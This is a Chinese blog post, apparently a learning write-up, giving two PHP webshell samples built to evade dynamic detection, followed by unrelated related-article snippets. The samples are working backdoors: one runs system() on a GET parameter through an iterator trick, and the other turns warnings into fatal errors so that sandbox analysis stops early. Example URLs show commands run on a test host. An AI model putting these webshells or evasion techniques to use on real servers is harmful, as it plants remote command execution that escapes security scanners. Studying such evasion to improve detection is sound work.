记一次学习--webshell绕过(动态检测)

embedded/2024/11/15 8:33:08/

目录

 第一种样本

代码分析

第二种样本

代码分析

题目分析

 结果 


不断学习,不断进步

快就是慢,慢就是快。审视自身

 第一种样本

<?php
class xxxd implements IteratorAggregate {public $xxx = "system";public function __construct() {}public function getIterator() {return new ArrayIterator($this);}
}
$obj = new xxxd;
foreach($obj as $key => $value) {$cmd = ['banana', 'orange', ...$_GET[1], 'watermelon'];call_user_func($value,$cmd[2]);exit();
}

代码分析

xxxd 类实现了 IteratorAggregate 接口。这意味着类需要定义 getIterator 方法,以便提供一个可遍历的对象。
类中有一个公共属性 $xxx,其值为 "system"。
getIterator 方法返回一个 ArrayIterator 对象。ArrayIterator 是一个内置的迭代器类,用于遍历数组或对象。这里传入的是 $this,即当前对象。
创建了一个 xxxd 类的实例 $obj。
使用 foreach 遍历 $obj。由于 $obj 实现了 IteratorAggregate 接口并返回一个 ArrayIterator 对象,所以 $obj 将被视为一个可以迭代的对象。

ArrayIterator 的行为:

ArrayIterator 处理 $this(即 $obj)作为数组。在 PHP 中,对象默认不被视为数组,因此 ArrayIterator 在这种情况下将对象的属性视为数组的键值对。
在这个例子中,$obj 只有一个属性 $xxx,其值为 "system"。因此 foreach 循环会将 $key 设为 'xxx',将 $value 设为 'system'

然后执行system和选中的$_GET[1].

http://192.168.244.152:8080/webshell/6.php?1[]=id

第二种样本

第二种样本脱胎于第一种样本,第一种样本可以绕过的原理是,当第一种样本不加参数直接访问这个代码会爆出错误。因此我猜测可能在动态检测的时候由于无法知道参数的值,动态执⾏的时候也会爆出此错误,导致代码不能执行下去,所以如果我们可以找到其他的方法,通过传入参数的差异来打断动态执行,应该就可以绕过。这个的意思就是你的代码在动态检测中报错,动态检测认为你的...$_GET[1]他认为这里没有传值,代码无法执行,就会报错,然后动态检测觉得你的代码无法执行就没有检测了。但是我们知道这里可以传值,你的代码将结果执行了下去并得到了你想要的结果。

<?php
set_error_handler(function ($error_no, $error_msg, $error_file,
$error_line) {trigger_error("xxxxxx",E_USER_ERROR);
}, E_WARNING | E_STRICT);
function xxxe(){$gen = (function() {yield 1;yield $_GET[1];return 3;})();foreach ($gen as $val) {echo 1/$_GET['x'];array_reduce(array(1),join(array_diff(["sys","tem"],[])),
($val));}  }
header_register_callback('xxxe');

代码分析

这段代码定义了一个自定义错误处理函数,该函数会在发生 E_WARNING 或 E_STRICT 错误时触发一个用户错误 E_USER_ERROR。这将导致一个致命错误并终止脚本执行。

这段代码定义了一个匿名函数 xxxe,其中:

($gen) 是一个生成器,生成两个值:1 和 $_GET[1],然后返回 3。
foreach 遍历生成器 $gen 的值。对每个值 $val:
echo 1/$_GET['x']; 试图输出 1 除以 $_GET['x'] 的结果。如果 $_GET['x'] 不存在或为零,这会引发警告或错误。

题目分析

然后回到题目这里由于是一个动态传参和第一种样本相同,然后这里会抛出一个错误,错误会被下图所示代码捕获,然后代码被捕获后将warning转换为error报错(这里是应为警告不会中断运行,但是错误会中断),爆出异常后,动态检测就认为你代码执行不下去了,就没有检测了。然后就饶过了

 

http://192.168.244.152:8080/webshell/6_1.php?1=touch%20/tmp/test1.php&x=1

 结果 


http://www.ppmy.cn/embedded/104454.html

相关文章

ESXi服务器无法安装Windows11:“不符合此版本的Windows所需最低系统要求“

目录 一、问题描述1.使用环境2.问题截图3.问题解析 二、解决方法Ⅰ1.按 ShiftF10 弹出命令提示符2.在弹出的Dos框中输入regedit&#xff0c;回车&#xff0c;进入注册表。3.打开HKEY_LOCAL_MACHINE\SYSTEM\Setup&#xff0c;并新建 LabConfig 的项&#xff0c;在 LabConfig 下创…

STM32学习记录-11-RTC实时时钟

1 Unix时间戳 Unix 时间戳(Unix Timestamp)定义为从UTC/GMT的1970年1月1日0时0分0秒开始所经过的秒数,不考虑闰秒 时间戳存储在一个秒计数器中,秒计数器为32位/64位的整型变量 世界上所有时区的秒计数器相同,不同时区通过添加偏移来得到当地时间 2 UTC/GMT GMT(Green…

06.函数和模块的使用

函数和模块的使用 在讲解本章节的内容之前,我们先来研究一道数学题,请说出下面的方程有多少组正整数解。 事实上,上面的问题等同于将8个苹果分成四组每组至少一个苹果有多少种方案。想到这一点问题的答案就呼之欲出了。 可以用Python的程序来计算出这个值,代码如下所示。 …

QT QGraphicsView实现预览图片显示缩略图功能

QT QGraphicsView实现预览图片显示缩略图功能QT creator Qt5.15.2 头文件&#xff1a; #ifndef TGRAPHICSVIEW_H #define TGRAPHICSVIEW_H#include <QGraphicsView> #include <QMainWindow> #include <QObject> #include <QWidget>class TGraphicsVie…

Netty+WebSocket实现高并发网络编程

我们来实现一个Netty+WebSocket集成案例,由于Netty+WebSocket集成代码比较麻烦,我们可以利用目前开源的项目netty-websocket-spring-boot-starter轻松实现Netty和WebSocket的集成。 我们搭建一个项目,项目叫seckill-message,用于处理通知用户抢单状态。 1)pom.xml <!-…

Go 语言版本管理——Goenv

Go 语言版本管理——Goenv 命令安装 goenv安装和切换 Go 版本 goenv 是一个专门管理 Go 语言版本的工具。 命令 安装 goenv github-goenv git clone https://github.com/go-nv/goenv.git ~/.goenv echo export GOENV_ROOT"$HOME/.goenv" >> ~/.bash_profile…

sql靶场笔记

一、 第一个实验比较简单&#xff0c;首先观察网站大概信息&#xff0c;发现这是一个购物网站&#xff0c;然后发现一个关键地方就是&#xff0c;有一个分类按钮&#xff0c;有gift,有pet,等等&#xff0c;然后再看它的URL语句&#xff0c;发现可能存在被入侵的风险于是对它进…

day-46 旋转图像

思路 不能使用辅助数组&#xff0c;所以关键在于弄清楚旋转后坐标的变化规律。当矩阵的大小n为偶数时&#xff0c;以n/2行和n/2列的元素为起点&#xff0c;当矩阵的大小n为奇数时&#xff0c;以n/2行和&#xff08;n1&#xff09;/2列的元素为起点 解题过程 关键&#xff1a;旋…